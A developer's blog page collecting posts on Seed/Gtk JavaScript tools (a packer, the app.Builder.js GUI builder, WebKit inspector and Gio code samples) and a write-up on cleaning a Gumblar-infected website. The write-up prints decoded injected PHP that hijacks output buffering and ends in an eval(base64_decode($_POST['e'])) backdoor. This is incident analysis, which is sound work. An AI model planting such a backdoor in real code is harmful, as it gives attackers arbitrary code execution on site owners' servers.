Latest
RSS and Categories
Big step forward in Modular Database Applications with DataObjects
When unstable is just not unstable enough
Company rename and RooJS sites now online
After what seems like forever in design and migration, I've turned on the roojs.com and roojs.org domains, I'm slowly in the process phasing out my old company name - AK BK Consulting, which is now rooJSolutions
Javascript Packer
Javascript packer in Javascript, with full scoped variable replacement
Source:
git clone http://git.roojs.org/gnome.introspection-doc-generator
http://git.roojs.org/?p=gnome.introspection-doc-generator;a=tree
app.Builder.js - First release
A Release!!! - Well Idle hands make cool stuff...
What is It?
Basically Glade on steriods. (and it needs a good name!!)What?
Well Glade the UI builder is great for what it does, however app.Builder.js attempts to solve a few roadblocks in Glade- Moving stuff around is klumsy - no drag drop - It's not very good for prototyping layouts...
- It's limited in what widgets can be added
- Coding (when used as an Ajunta addon) is just downright messy.
- It's difficult to extend/modify (and in some cases next to impossible)
- Adding additional properties to widgets is difficult
- Information is often hidden from display (how many clicks to find out what signals are connected)
- There is no 'run it and see' option.
So what makes this different..?
- It's all done in Javascript - using a tree like structure (and it's fully self hosting) - the application is used to modify it'self.
- It uses GObject Introspection. which solves a number of issues
- All available properties can be set (and quickly listed, with documentation)
- how widget's can be packed, can be determined from introspection of the methods.
- all signals are available, and stubs are created for you to start implementing.
- Making extra widgets to the application is just a matter of editing files (eventually a UI will enable you to pick from a list of available Introspection elements... )
- You can build web Applications (using toolkits like RooJS) - ExtJS, Moo etc. could be easily added..
- It should be quite easy to build Clutter applications...
Do I need to know anything to use it.
Yes, one of the core concepts behind the builder is understanding XObject, a simple Javascript wrapper around GObjectsthat enables you to create a JSON like tree, and XObject will turn your tree into an application.
Key features of the XObject are
- xtype - the name of the GObject (eg. Gtk.Window)
- packing - the pack property, can be a string (comma seperated indicating how an element is packed to it's parent)
- id - all objects can have ID's you can fetch any object using this.get('the_id') as long as it's a child of the current element. To look up the tree, use a '.' at the start, or to start at the top of the tree use '/', eg. this.get('/Window') get's you the window. this.get('/Window.toolbar') get's you the first toolbar in the window.
- el - when an element is created, the GObject is always stored in this.el
- |pipe - properties - currently the editor uses '|' as a prefix to indicate the value is raw Javascript (eg. a function or Value, that when used should not be quoted as if it was a string.
What state is it in?
Well, It's self editing.. - The application is used to create it's self, just create a new Gtk Project, and point it at the Sample directory, and you can edit the current codebase. (copying it to the Builder directory when you have a stable build)What's to do...
Quite a few tweaks.. It works, but could do with more time in polishing the interface. My personal goal is to save time using it as a productivity tool, for development. Which is basically where it's at..Where do I get it?
Download a tarball app.Builder.js.2010-05-25.tgzWhat do I need to get it to work?
Using WebKit Inspector with seed
One of the key reasons to create the app.Builder, was so I could speed up the development of Web applications using the Roo library. The web based version saved considerable time, and led to quite an improvement in delivery times for projects.
//<Script type="text/javascript">
/**
* Test of web kit inspector.
* create a window + 2 webviews. inside scrolled window.
* load google in first, then hook in the inspector..
*
* needs the transfer ownship fixing on return value in WebKit-1.0.gir
*
* <method name="get_inspector"
* c:identifier="webkit_web_view_get_inspector">
* <return-value transfer-ownership="none">
* <type name="WebInspector" c:type="WebKitWebInspector*"/>
* </return-value>
* </method>
*
* then compile it..
* g-ir-compiler /usr/share/gir-1.0/WebKit-1.0.gir -o /usr/lib/girepository-1.0/WebKit-1.0.typelib
*
*/
Gtk = imports.gi.Gtk;
WebKit = imports.gi.WebKit;
Gtk.init(null,null);
// build the UI..
w = new Gtk.Window.c_new( Gtk.WindowType.TOPLEVEL);
v = new Gtk.VBox();
s1 = new Gtk.ScrolledWindow();
s2 = new Gtk.ScrolledWindow();
w1 = new WebKit.WebView();
w2 = new WebKit.WebView();
s1.add(w1);
s2.add(w2);
v.add(s1);
v.add(s2);
w.add(v);
// enable inspector..
w1.get_settings().enable_developer_extras = true;
// load google on show..
w1.signal.show.connect(function() {
w1.load_uri("http://www.google.com");
});
// load the inspector when loading has finished!
w1.signal.load_finished.connect(function(wv) {
w1.get_inspector().show();
});
// return the bottom window as the inspector..
w1.get_inspector().signal.inspect_web_view.connect(function() {
return w2;
})
// show and go..
w.show_all();
Gtk.main();
Application Builder slowly growing
While paid work is still horribly quiet, my little application builder is getting closer to usable.
I posted a video a while back showing the web version of the Application builder, this is the next generation, a desktop version all done in Javascript using Seed. Not only can it build Roo applications, but also Gtk ones.. (and in theory maybe JQuery/Prototype etc..)
The main reason to switch to a desktop version was the addition of GtkSourceView, which will enable autocompletion and proper code editing.
It's really a proof of concept, but I can easily move it out to github from it's current home - http://git.akbkhome.com/?p=app.Builder.js if anyone want's to help out.
download:
git clone http://git.akbkhome.com/app.Builder.js
run update.sh once download to get the roo library
Git Live
Inotify and Git auto commit then push using Gnome Seed
Seed doc updates, and Gio async directory listing
The documentation for seed gobject introspection is improving continually, I now have a jhbuild virtual machine, which is picking up the latest versions from git.
- Interfaces, Enums
- callback methods are now documented
- More libraries have been added.
- More doc comments can be picked up
Gio = imports.gi.Gio;
Gtk = imports.gi.Gtk;
var f = Gio.file_new_for_path('/home/');
f.enumerate_children_async (
"*",
Gio.FileQueryInfoFlags.NONE,
GLib.PRIORITY_DEFAULT,
null,
function(o,ar) {
// listing completed..
var fe = f.enumerate_children_finish(ar);
var ch = false;
while (ch = fe.next_file(null)) {
Seed.print(ch.get_name());
}
Seed.quit();
},
null);
Gtk.main();Reported Attack Site - recovering from gumblars
Just about finished a gumblar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)
The gumblar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.
When you ignore the message and go through to the site, look at the HTML the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.
At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.
My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.
Cleaning it out
The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).
After that it was a matter of googling for details of the attack and writing a gumblar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include
- php files with an eval/base64_encode line
- javascript files with document.write lines
- html, shtml and htm files with <script tags.
I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.
Inside out of the attack.
The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.
Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)
This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)
This is a snippet of the decoded script
if(!function_exists('kqyf')){
function kqyf($s){
... infect the page stuff goes here...
}
function kqyf2($a,$b,$c,$d){
global$kqyf1;
$s=array();
if(function_exists($kqyf1))
call_user_func($kqyf1,$a,$b,$c,$d);
foreach(@ob_get_status(1)as$v)
if(($a=$v['name'])=='kqyf')
return;
elseif($a=='ob_gzhandler')
break;
else
$s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;$i>=0;$i--){
$s[$i][1]=ob_get_contents();
ob_end_clean();
}
ob_start('kqyf');
for($i=0;$i<count($s);$i++){
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
$kqyfl=(($a=@set_error_handler('kqyf2'))!='kqyf2')?$a:0;
eval(base64_decode($_POST['e']))
After that wordpress does it's wonders and infects the rest of the site for you. As all the generated pages suddenly get the extra <script tags> when publishing and your wordpress outputs the infection into the admin system.
Note: I only dissected one of the php scripts, which changed output buffering adding the <script tag, but did not see the document.write changer. I suspect there may be another variant of the script above that i did not look at that modifies the javascript files, or that it's done remotely.
Anyway all cleaned up after a few days (due to the long time the original backup took) . After this the recommendations for the owner where, stop using adobe PDF viewer (there are alternatives out there) - stop using IE, ask all staff to use Firefox with noscript. and keep a backup!